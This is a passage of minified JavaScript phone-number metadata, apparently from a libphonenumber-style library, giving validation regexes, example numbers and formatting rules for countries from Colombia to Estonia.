"$1 $2",["9"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["80"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["[3-578]"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["1[3-9]"],,"$CC $1"],[,"(\\d{2})(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3 $4",["[12]"],"0$1",,1]],[[,"(\\d{2})(\\d{5,6})","$1 $2",["(?:10|2[0-57-9])[19]|3(?:[157]|35|49|9[1-68])|4(?:1[124-9]|2[179]|6[47-9]|7|8[23])|5(?:[1357]|2[37]|4[36]|6[1-46]|80)|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:07|1[236-8]|2[5-7]|[37]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3|4[13]|5[1-5]|7[0-79]|9[0-35-9])|(?:4[35]|59|85)[1-9]",
"(?:10|2[0-57-9])(?:1[02]|9[56])|8078|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))1","10(?:1(?:0|23)|9[56])|2[0-57-9](?:1(?:00|23)|9[56])|80781|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))12",
"10(?:1(?:0|23)|9[56])|2[0-57-9](?:1(?:00|23)|9[56])|807812|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))123","10(?:1(?:0|23)|9[56])|2[0-57-9](?:1(?:00|23)|9[56])|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:1[124-9]|2[179]|[35][1-9]|6[47-9]|7\\d|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:078|1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|3\\d|4[13]|5[1-5]|7[0-79]|9[0-35-9]))123"],
"0$1","$CC $1"],[,"(\\d{3})(\\d{5,6})","$1 $2",["3(?:[157]|35|49|9[1-68])|4(?:[17]|2[179]|6[47-9]|8[23])|5(?:[1357]|2[37]|4[36]|6[1-46]|80)|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]|4[13]|5[1-5])|(?:4[35]|59|85)[1-9]","(?:3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))[19]",
"85[23](?:10|95)|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))(?:10|9[56])","85[23](?:100|95)|(?:3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))(?:100|9[56])"],
"0$1","$CC $1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["(?:4|80)0"]],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["10|2(?:[02-57-9]|1[1-9])","10|2(?:[02-57-9]|1[1-9])","10[0-79]|2(?:[02-57-9]|1[1-79])|(?:10|21)8(?:0[1-9]|[1-9])"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["3(?:[3-59]|7[02-68])|4(?:[26-8]|3[3-9]|5[2-9])|5(?:3[03-9]|[468]|7[028]|9[2-46-9])|6|7(?:[0-247]|3[04-9]|5[0-4689]|6[2368])|8(?:[1-358]|9[1-7])|9(?:[013479]|5[1-5])|(?:[34]1|55|79|87)[02-9]"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{7,8})",
"$1 $2",["9"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["80"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["[3-578]"],"0$1","$CC $1",1],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["1[3-9]"],,"$CC $1"],[,"(\\d{2})(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3 $4",["[12]"],"0$1",,1]],[,,,,,,,,,[-1]],,,[,,"(?:(?:10|21)8|[48])00\\d{7}|950\\d{7,8}",,,,,,,[10,11,12]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CO:[,[,,"(?:60\\d\\d|9101)\\d{6}|(?:1\\d|3)\\d{9}",,,,,,,[10,11],[7]],[,,"601055(?:[0-4]\\d|50)\\d\\d|6010(?:[0-4]\\d|5[0-4])\\d{4}|60(?:[124-7][2-9]|8[1-9])\\d{6}",
,,,"6012345678",,,[10],[7]],[,,"333301[0-5]\\d{3}|3333(?:00|2[5-9]|[3-9]\\d)\\d{4}|(?:3(?:24[1-9]|3(?:00|3[0-24-9]))|9101)\\d{6}|3(?:0[0-5]|1\\d|2[0-3]|5[01]|70)\\d{7}",,,,"3211234567",,,[10]],[,,"1800\\d{7}",,,,"18001234567",,,[11]],[,,"19(?:0[01]|4[78])\\d{7}",,,,"19001234567",,,[11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CO",57,"00(?:4(?:[14]4|56)|[579])","0",,,"0([3579]|4(?:[14]4|56))?",,,,[[,"(\\d{3})(\\d{7})","$1 $2",["6"],"($1)","0$CC $1"],[,"(\\d{3})(\\d{7})","$1 $2",["3[0-357]|91"],
,"0$CC $1"],[,"(\\d)(\\d{3})(\\d{7})","$1-$2-$3",["1"],"0$1"]],[[,"(\\d{3})(\\d{7})","$1 $2",["6"],"($1)","0$CC $1"],[,"(\\d{3})(\\d{7})","$1 $2",["3[0-357]|91"],,"0$CC $1"],[,"(\\d)(\\d{3})(\\d{7})","$1 $2 $3",["1"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CR:[,[,,"(?:8\\d|90)\\d{8}|(?:[24-8]\\d{3}|3005)\\d{4}",,,,,,,[8,10]],[,,"210[7-9]\\d{4}|2(?:[024-7]\\d|1[1-9])\\d{5}",,,,"22123456",,,[8]],[,,"(?:3005\\d|6500[01])\\d{3}|(?:5[07]|6[0-4]|7[0-3]|8[3-9])\\d{6}",,,,"83123456",
,,[8]],[,,"800\\d{7}",,,,"8001234567",,,[10]],[,,"90[059]\\d{7}",,,,"9001234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:210[0-6]|4\\d{3}|5100)\\d{4}",,,,"40001234",,,[8]],"CR",506,"00",,,,"(19(?:0[0-2468]|1[09]|20|66|77|99))",,,,[[,"(\\d{4})(\\d{4})","$1 $2",["[2-7]|8[3-9]"],,"$CC $1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[89]"],,"$CC $1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CU:[,[,,"(?:[2-7]|8\\d\\d)\\d{7}|[2-47]\\d{6}|[34]\\d{5}",,,,,,,[6,7,8,10],
[4,5]],[,,"(?:3[23]|4[89])\\d{4,6}|(?:31|4[36]|8(?:0[25]|78)\\d)\\d{6}|(?:2[1-4]|4[1257]|7\\d)\\d{5,6}",,,,"71234567",,,,[4,5]],[,,"(?:5\\d|6[2-4])\\d{6}",,,,"51234567",,,[8]],[,,"800\\d{7}",,,,"8001234567",,,[10]],[,,,,,,,,,[-1]],[,,"807\\d{7}",,,,"8071234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CU",53,"119","0",,,"0",,,,[[,"(\\d{2})(\\d{4,6})","$1 $2",["2[1-4]|[34]"],"(0$1)"],[,"(\\d)(\\d{6,7})","$1 $2",["7"],"(0$1)"],[,"(\\d)(\\d{7})","$1 $2",["[56]"],"0$1"],[,"(\\d{3})(\\d{7})","$1 $2",["8"],
"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CV:[,[,,"(?:[2-59]\\d\\d|800)\\d{4}",,,,,,,[7]],[,,"2(?:2[1-7]|3[0-8]|4[12]|5[1256]|6\\d|7[1-3]|8[1-5])\\d{4}",,,,"2211234"],[,,"(?:36|5[1-389]|9\\d)\\d{5}",,,,"9911234"],[,,"800\\d{4}",,,,"8001234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"(?:3[3-5]|4[356])\\d{5}",,,,"3401234"],"CV",238,"0",,,,,,,,[[,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["[2-589]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,
,,,,,,[-1]]],CW:[,[,,"(?:[34]1|60|(?:7|9\\d)\\d)\\d{5}",,,,,,,[7,8]],[,,"9(?:4(?:3[0-5]|4[14]|6\\d)|50\\d|7(?:2[014]|3[02-9]|4[4-9]|6[357]|77|8[7-9])|8(?:3[39]|[46]\\d|7[01]|8[57-9]))\\d{4}",,,,"94351234"],[,,"953[01]\\d{4}|9(?:5[12467]|6[5-9])\\d{5}",,,,"95181234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"60[0-2]\\d{4}",,,,"6001234",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"CW",599,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[3467]"]],[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["9[4-8]"]]],,[,,"955\\d{5}",,,
,"95581234",,,[8]],1,"[69]",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CX:[,[,,"1(?:[0-79]\\d{8}(?:\\d{2})?|8[0-24-9]\\d{7})|[148]\\d{8}|1\\d{5,7}",,,,,,,[6,7,8,9,10,12]],[,,"8(?:51(?:0(?:01|30|59|88)|1(?:17|46|75)|2(?:22|35))|91(?:00[6-9]|1(?:[28]1|49|78)|2(?:09|63)|3(?:12|26|75)|4(?:56|97)|64\\d|7(?:0[01]|1[0-2])|958))\\d{3}",,,,"891641234",,,[9],[8]],[,,"4(?:79[01]|83[0-389]|94[0-4])\\d{5}|4(?:[0-36]\\d|4[047-9]|5[0-25-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\d{6}",,,,"412345678",,,[9]],[,,"180(?:0\\d{3}|2)\\d{3}",
,,,"1800123456",,,[7,10]],[,,"190[0-26]\\d{6}",,,,"1900123456",,,[10]],[,,"13(?:00\\d{6}(?:\\d{2})?|45[0-4]\\d{3})|13\\d{4}",,,,"1300123456",,,[6,8,10,12]],[,,,,,,,,,[-1]],[,,"14(?:5(?:1[0458]|[23][458])|71\\d)\\d{4}",,,,"147101234",,,[9]],"CX",61,"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011","0",,,"([59]\\d{7})$|0","8$1","0011",,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],CY:[,[,,"(?:[279]\\d|[58]0)\\d{6}",,,,,,,[8]],[,,"2[2-6]\\d{6}",,,,"22345678"],[,,"9(?:10|[4-79]\\d)\\d{5}",
,,,"96123456"],[,,"800\\d{5}",,,,"80001234"],[,,"90[09]\\d{5}",,,,"90012345"],[,,"80[1-9]\\d{5}",,,,"80112345"],[,,"700\\d{5}",,,,"70012345"],[,,,,,,,,,[-1]],"CY",357,"00",,,,,,,,[[,"(\\d{2})(\\d{6})","$1 $2",["[257-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"(?:50|77)\\d{6}",,,,"77123456"],,,[,,,,,,,,,[-1]]],CZ:[,[,,"(?:[2-578]\\d|60)\\d{7}|9\\d{8,11}",,,,,,,[9,10,11,12]],[,,"(?:2\\d|3[1257-9]|4[16-9]|5[13-9])\\d{7}",,,,"212345678",,,[9]],[,,"(?:60[1-8]\\d|7(?:0(?:[2-5]\\d|60)|19[01]|[2379]\\d\\d))\\d{5}",
,,,"601123456",,,[9]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,,"9(?:0[05689]|76)\\d{6}",,,,"900123456",,,[9]],[,,"8[134]\\d{7}",,,,"811234567",,,[9]],[,,"70[01]\\d{6}",,,,"700123456",,,[9]],[,,"9[17]0\\d{6}",,,,"910123456",,,[9]],"CZ",420,"00",,,,,,,,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[2-8]|9[015-7]"]],[,"(\\d{2})(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3 $4",["96"]],[,"(\\d{2})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["9"]],[,"(\\d{3})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["9"]]],,[,,,,,,,,,[-1]],
,,[,,,,,,,,,[-1]],[,,"9(?:5\\d|7[2-4])\\d{6}",,,,"972123456",,,[9]],,,[,,"9(?:3\\d{9}|6\\d{7,10})",,,,"93123456789"]],DE:[,[,,"[2579]\\d{5,14}|49(?:[34]0|69|8\\d)\\d\\d?|49(?:37|49|60|7[089]|9\\d)\\d{1,3}|49(?:2[024-9]|3[2-689]|7[1-7])\\d{1,8}|(?:1|[368]\\d|4[0-8])\\d{3,13}|49(?:[015]\\d|2[13]|31|[46][1-8])\\d{1,9}",,,,,,,[4,5,6,7,8,9,10,11,12,13,14,15],[2,3]],[,,"32\\d{9,11}|49[1-6]\\d{10}|322\\d{6}|49[0-7]\\d{3,9}|(?:[34]0|[68]9)\\d{3,13}|(?:2(?:0[1-689]|[1-3569]\\d|4[0-8]|7[1-7]|8[0-7])|3(?:[3569]\\d|4[0-79]|7[1-7]|8[1-8])|4(?:1[02-9]|[2-48]\\d|5[0-6]|6[0-8]|7[0-79])|5(?:0[2-8]|[124-6]\\d|[38][0-8]|[79][0-7])|6(?:0[02-9]|[1-358]\\d|[47][0-8]|6[1-9])|7(?:0[2-8]|1[1-9]|[27][0-7]|3\\d|[4-6][0-8]|8[0-5]|9[013-7])|8(?:0[2-9]|1[0-79]|2\\d|3[0-46-9]|4[0-6]|5[013-9]|6[1-8]|7[0-8]|8[0-24-6])|9(?:0[6-9]|[1-4]\\d|[589][0-7]|6[0-8]|7[0-467]))\\d{3,12}",
,,,"30123456",,,[5,6,7,8,9,10,11,12,13,14,15],[2,3,4]],[,,"15310\\d{6}|1(?:6[023]|7[0-57-9])\\d{7,8}|1(?:5[0-25-9]|76)\\d{8}",,,,"15123456789",,,[10,11]],[,,"800\\d{7,12}",,,,"8001234567890",,,[10,11,12,13,14,15]],[,,"(?:137[7-9]|900(?:[135]|9\\d))\\d{6}",,,,"9001234567",,,[10,11]],[,,"180\\d{5,11}|13(?:7[1-6]\\d\\d|8)\\d{4}",,,,"18012345",,,[7,8,9,10,11,12,13,14]],[,,"700\\d{8}",,,,"70012345678",,,[11]],[,,,,,,,,,[-1]],"DE",49,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3,13})","$1 $2",["3[02]|40|[68]9"],
"0$1"],[,"(\\d{3})(\\d{3,12})","$1 $2",["2(?:0[1-389]|1[124]|2[18]|3[14])|3(?:[35-9][15]|4[015])|906|(?:2[4-9]|4[2-9]|[579][1-9]|[68][1-8])1","2(?:0[1-389]|12[0-8])|3(?:[35-9][15]|4[015])|906|2(?:[13][14]|2[18])|(?:2[4-9]|4[2-9]|[579][1-9]|[68][1-8])1"],"0$1"],[,"(\\d{4})(\\d{2,11})","$1 $2",["[24-6]|3(?:[3569][02-46-9]|4[2-4679]|7[2-467]|8[2-46-8])|70[2-8]|8(?:0[2-9]|[1-8])|90[7-9]|[79][1-9]","[24-6]|3(?:3(?:0[1-467]|2[127-9]|3[124578]|7[1257-9]|8[1256]|9[145])|4(?:2[135]|4[13578]|9[1346])|5(?:0[14]|2[1-3589]|6[1-4]|7[13468]|8[13568])|6(?:2[1-489]|3[124-6]|6[13]|7[12579]|8[1-356]|9[135])|7(?:2[1-7]|4[145]|6[1-5]|7[1-4])|8(?:21|3[1468]|6|7[1467]|8[136])|9(?:0[12479]|2[1358]|4[134679]|6[1-9]|7[136]|8[147]|9[1468]))|70[2-8]|8(?:0[2-9]|[1-8])|90[7-9]|[79][1-9]|3[68]4[1347]|3(?:47|60)[1356]|3(?:3[46]|46|5[49])[1246]|3[4579]3[1357]"],
"0$1"],[,"(\\d{3})(\\d{4})","$1 $2",["138"],"0$1"],[,"(\\d{5})(\\d{2,10})","$1 $2",["3"],"0$1"],[,"(\\d{3})(\\d{5,11})","$1 $2",["181"],"0$1"],[,"(\\d{3})(\\d)(\\d{4,10})","$1 $2 $3",["1(?:3|80)|9"],"0$1"],[,"(\\d{3})(\\d{7,8})","$1 $2",["1[67]"],"0$1"],[,"(\\d{3})(\\d{7,12})","$1 $2",["8"],"0$1"],[,"(\\d{5})(\\d{6})","$1 $2",["185","1850","18500"],"0$1"],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["7"],"0$1"],[,"(\\d{4})(\\d{7})","$1 $2",["18[68]"],"0$1"],[,"(\\d{4})(\\d{7})","$1 $2",["15[1279]"],"0$1"],
[,"(\\d{5})(\\d{6})","$1 $2",["15[03568]","15(?:[0568]|31)"],"0$1"],[,"(\\d{3})(\\d{8})","$1 $2",["18"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{7,8})","$1 $2 $3",["1(?:6[023]|7)"],"0$1"],[,"(\\d{4})(\\d{2})(\\d{7})","$1 $2 $3",["15[279]"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{8})","$1 $2 $3",["15"],"0$1"]],,[,,"16(?:4\\d{1,10}|[89]\\d{1,11})",,,,"16412345",,,[4,5,6,7,8,9,10,11,12,13,14]],,,[,,,,,,,,,[-1]],[,,"18(?:1\\d{5,11}|[2-9]\\d{8})",,,,"18500123456",,,[8,9,10,11,12,13,14]],,,[,,"1(?:6(?:013|255|399)|7(?:(?:[015]1|[69]3)3|[2-4]55|[78]99))\\d{7,8}|15(?:(?:[03-68]00|113)\\d|2\\d55|7\\d99|9\\d33)\\d{7}",
,,,"177991234567",,,[12,13]]],DJ:[,[,,"(?:2\\d|77)\\d{6}",,,,,,,[8]],[,,"2(?:1[2-5]|7[45])\\d{5}",,,,"21360003"],[,,"77\\d{6}",,,,"77831001"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"DJ",253,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[27]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],DK:[,[,,"[2-9]\\d{7}",,,,,,,[8]],[,,"(?:(?:2\\d|9[1-46-9])\\d|3(?:[0-37]\\d|4[013]|5[0-58]|6[01347-9]|8[0-8]|9[0-79])|4(?:[0-25]\\d|[34][02-9]|6[013-579]|7[013579]|8[0-47]|9[0-27])|5(?:[0-36]\\d|4[0146-9]|5[03-57-9]|7[0568]|8[0-358]|9[0-69])|6(?:[013578]\\d|2[0-68]|4[02-8]|6[01689]|9[015689])|7(?:[0-69]\\d|7[03-9]|8[0147])|8(?:[16-9]\\d|2[0-58]))\\d{5}",
,,,"32123456"],[,,"(?:[2-7]\\d|8[126-9]|9[1-46-9])\\d{6}",,,,"34412345"],[,,"80\\d{6}",,,,"80123456"],[,,"90\\d{6}",,,,"90123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"DK",45,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],DM:[,[,,"(?:[58]\\d\\d|767|900)\\d{7}",,,,,,,[10],[7]],[,,"767(?:2(?:55|66)|4(?:2[01]|4[0-25-9])|50[0-4])\\d{4}",,,,"7674201234",,,,[7]],[,,"767(?:2(?:[2-4689]5|7[5-7])|31[5-7]|61[1-8]|70[1-6])\\d{4}",
,,,"7672251234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"DM",1,"011","1",,,"([2-7]\\d{6})$|1","767$1",,,,,[,,,,,,,,,[-1]],,"767",[,,,,,,,,,[-1]],[,,,,,
,,,,[-1]],,,[,,,,,,,,,[-1]]],DO:[,[,,"(?:[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"8(?:[04]9[2-9]\\d\\d|29(?:2(?:[0-59]\\d|6[04-9]|7[0-27]|8[0237-9])|3(?:[0-35-9]\\d|4[7-9])|[45]\\d\\d|6(?:[0-27-9]\\d|[3-5][1-9]|6[0135-8])|7(?:0[013-9]|[1-37]\\d|4[1-35689]|5[1-4689]|6[1-57-9]|8[1-79]|9[1-8])|8(?:0[146-9]|1[0-48]|[248]\\d|3[1-79]|5[01589]|6[013-68]|7[124-8]|9[0-8])|9(?:[0-24]\\d|3[02-46-9]|5[0-79]|60|7[0169]|8[57-9]|9[02-9])))\\d{4}",,,,"8092345678",,,,[7]],[,,"8[024]9[2-9]\\d{6}",,,,"8092345678",
,,,[7]],[,,"8(?:00(?:14|[2-9]\\d)|(?:33|44|55|66|77|88)[2-9]\\d)\\d{5}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"DO",1,"011","1",,,"1",,,,,,[,,,,,,,,,[-1]],,"8001|8[024]9",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],
,,[,,,,,,,,,[-1]]],DZ:[,[,,"(?:[1-4]|[5-79]\\d|80)\\d{7}",,,,,,,[8,9]],[,,"9619\\d{5}|(?:1\\d|2[013-79]|3[0-8]|4[013-689])\\d{6}",,,,"12345678"],[,,"(?:5(?:4[0-29]|5\\d|6[0-3])|6(?:[569]\\d|7[0-6])|7[7-9]\\d)\\d{6}",,,,"551234567",,,[9]],[,,"800\\d{6}",,,,"800123456",,,[9]],[,,"80[3-689]1\\d{5}",,,,"808123456",,,[9]],[,,"80[12]1\\d{5}",,,,"801123456",,,[9]],[,,,,,,,,,[-1]],[,,"98[23]\\d{6}",,,,"983123456",,,[9]],"DZ",213,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[1-4]"],
"0$1"],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["9"],"0$1"],[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[5-8]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],EC:[,[,,"1\\d{9,10}|(?:[2-7]|9\\d)\\d{7}",,,,,,,[8,9,10,11],[7]],[,,"[2-7][2-7]\\d{6}",,,,"22123456",,,[8],[7]],[,,"964[0-2]\\d{5}|9(?:39|[57][89]|6[0-36-9]|[89]\\d)\\d{6}",,,,"991234567",,,[9]],[,,"1800\\d{7}|1[78]00\\d{6}",,,,"18001234567",,,[10,11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,
,,,,[-1]],[,,"[2-7]890\\d{4}",,,,"28901234",,,[8]],"EC",593,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{4})","$1-$2",["[2-7]"]],[,"(\\d)(\\d{3})(\\d{4})","$1 $2-$3",["[2-7]"],"(0$1)"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["9"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3,4})","$1 $2 $3",["1"]]],[[,"(\\d)(\\d{3})(\\d{4})","$1-$2-$3",["[2-7]"]],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["9"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3,4})","$1 $2 $3",["1"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],EE:[,
[,,"8\\d{9}|[4578]\\d{7}|(?:[3-8]\\d|90)\\d{5}",,,,,,,[7,8,10]],[,,"(?:3[23589]|4[3-8]|6\\d|7[1-9]|88)\\d{5}",,,,"3212345",,,[7]],[,,"(?:5\\d{5}|8(?:1(?:0(?:0(?:00|[178]\\d)|[3-9]\\d\\d)|(?:1(?:0[236]|1\\d)|(?:2[0-59]|[3-79]\\d)\\d)\\d)|2(?:0(?:0(?:00|4\\d)|(?:19|[2-7]\\d)\\d)|(?:(?:[124-6]\\d|3[5-9])\\d|7(?:[0-79]\\d|8[13-9])|8(?:[2-6]\\d|7[01]))\\d)|[349]\\d{4}))\\d\\d|5(?:(?:[02]\\d|5[0-478])\\d|1(?:[0-8]\\d|95)|6(?:4[0-4]|5[1-589]))\\d{3}",,,,"51234567",,,[7,8]],[,,"800(?:(?:0\\d\\d|1)\\d|[2-9])\\d{3}",
,,,"80012345"],[,,"(?:40\\d\\d|900)\\d{4}",,,,"9001234",,,[7,8]],[,,,,,,,,,[-1]],[,,"70[0-2]\\d{5}",,,,"70012345",,,[8]],[,,,,,,,,,[-1]],"EE",372,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[369]|4[3-8]|5(?:[0-2]|5[0-478]|6[45])|7[1-9]|88","[369]|4[3-8]|5(?:[02]|1(?:[0-8]|95)|5[0-478]|6(?:4[0-4]|5[1-589]))|7[1-9]|88"]],[,"(\\d{4})(\\d{3,4})","$1 $2",["[45]|8(?:00|[1-49])","[45]|8(?:00[1-9]|[1-49])"]],[,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["7"]],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["8"]]],,[,
